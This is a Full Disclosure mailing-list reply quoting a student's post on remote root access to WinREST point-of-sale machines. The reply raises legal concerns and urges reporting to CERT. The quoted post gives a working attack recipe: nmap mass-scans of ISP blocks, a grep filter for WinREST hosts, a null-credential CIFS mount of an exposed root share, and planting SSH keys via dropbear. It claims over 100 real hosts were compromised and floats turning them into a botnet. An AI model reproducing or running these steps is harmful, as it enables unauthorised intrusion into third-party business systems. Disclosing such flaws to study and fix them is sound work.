Date: Sat, 13 Feb 2016 09:15:29 +0000
From: Duarte Silva <duarte.silva@...ializing.me>
To: Vitor Silva <up201402657@...up.pt>, <fulldisclosure@...lists.org>
Subject: Re: [FD] Point of Sale WinREST machines remote privilege escalation

Have you reported this to CERT and/or the company? I know from personal experience they're very slow, it's good to be covered by responsible disclosure since you just violated a series of Portuguese laws :\

I know FEUP/UP have a CERT, so you could have used them a intermediary, if you didn't already, please do contact them :)

PS: for those who don't know, WinREST is a POS software that isn't (usually) connected to payment terminals

----- Mensagem Original -----
De: "Vitor Silva" <up201402657@...up.pt>
Enviado: ‎12/‎02/‎2016 21:50
Para: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Assunto: [FD] Point of Sale WinREST machines remote privilege escalation

So a year back I was massively scanning internet. This case ISPs IPs blocks where you can find easily at RIPE for example.
Then I found some interesting hosts where SMB were open and the ACL is totally open to root file system with the same netbios name.
All file system is writable.

I was able to find some software of WinREST https://www.grupopie.com/frontoffice.html so I was amazed how a system like this is totaly open.
So what I thought to do: Get root! how?
First mount smb file share then created RSA key. I created a directory under root folder of authorised keys, edited the file of dropbear to make sure ssh daemon will run and done.
Got root.
How big this is?
Well lets ask PIE group the company that makes this software… 
I made some shell scripts to automatically find vulnerable hosts and inject all files necessarily.
First gather all subnets of ISPs then
# nmap -sV --open -p139 -n -oN allopenhosts –iL ISPRIPENCCblocks

Since we know WinREST is vulnerable by default we filter by hostname with
# grep 'WINREST\|PINGWIN’ allopenhosts -B3 | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’

Now we got a file with all hosts running winrest.
Now run a script to read each line, mount with CIFS, and lets fun begin.
You know own some hosts. Let me show you all.
After you find some hosts

# mount -t cifs -o user=nobody,password=nobody //IP OMITTED/Root /mnt/hack/
Then just ls:

# ls /mnt/hack/
bin  boot  dev  etc  home  images.scr  lib  lost+found  mnt  Photo  proc  root  sbin  sys  tmp  usr  var


Lets just touch something:
/mnt/hack# touch omg ; ls 
bin  boot  dev  etc  home  images.scr  lib  lost+found  mnt  omg  Photo  proc  root  sbin  sys  tmp  usr  var


Omg. We can create files. Lets see root folder:
root@...tname:/mnt/hack# cd root/
root@...tname:/mnt/hack/root# ls
sq_bin  sq_machines  sq_modules  sq_usr
root@...tname:/mnt/hack/root# touch OMG
root@...tname:/mnt/hack/root# ls
OMG  sq_bin  sq_machines  sq_modules  sq_usr


As I said now we own this. Easy generate RSA key with ssh-keygen and use it to authenticate as root.

root@...tname:~# ssh IP OMITTED
0 ~ # ls
OMG          sq_bin*      sq_machines* sq_modules*  sq_usr*
0 ~ # uname -a
Linux ws1t1 2.6.39.4-pie #15 SMP Wed Apr 30 12:39:28 WEST 2014 i686 GNU/Linux
0 ~ # cat /proc/cpuinfo 
processor	: 0
vendor_id	: CentaurHauls
cpu family	: 6
model		: 13
model name	: VIA C7 Processor 1500MHz
stepping	: 0
cpu MHz		: 798.000
cache size	: 128 KB
fdiv_bug	: no
hlt_bug		: no
f00f_bug	: no
coma_bug	: no
fpu		: yes
fpu_exception	: yes
cpuid level	: 1
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge cmov pat clflush acpi mmx fxsr sse sse2 tm nx up pni est tm2 xtpr rng rng_en ace ace_en ace2 ace2_en phe phe_en pmm pmm_en
bogomips	: 1596.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 32 bits virtual
power management:

Interesting part is you can build a botnet with this. It supports SSE SSE2 so probably you could code your own C code and run it like a daemon and you own a botnet.
For what? I don’t care.
Bitcoin mining maybe, DDoS whatever.


1 Year back I made this so automatically I gathered over 100 hosts.

My first security report to a seclist I hope I got some feedback.




--Vítor Silva
up201402657@...up.pt  
Estudante | Student


FACULDADE DE CIÊNCIAS DA UNIVERSIDADE DO PORTO
Rua do Campo Alegre, s/n, 4169-007 Porto, Portugal
www.fc.up.pt <http://www.fc.up.pt/>






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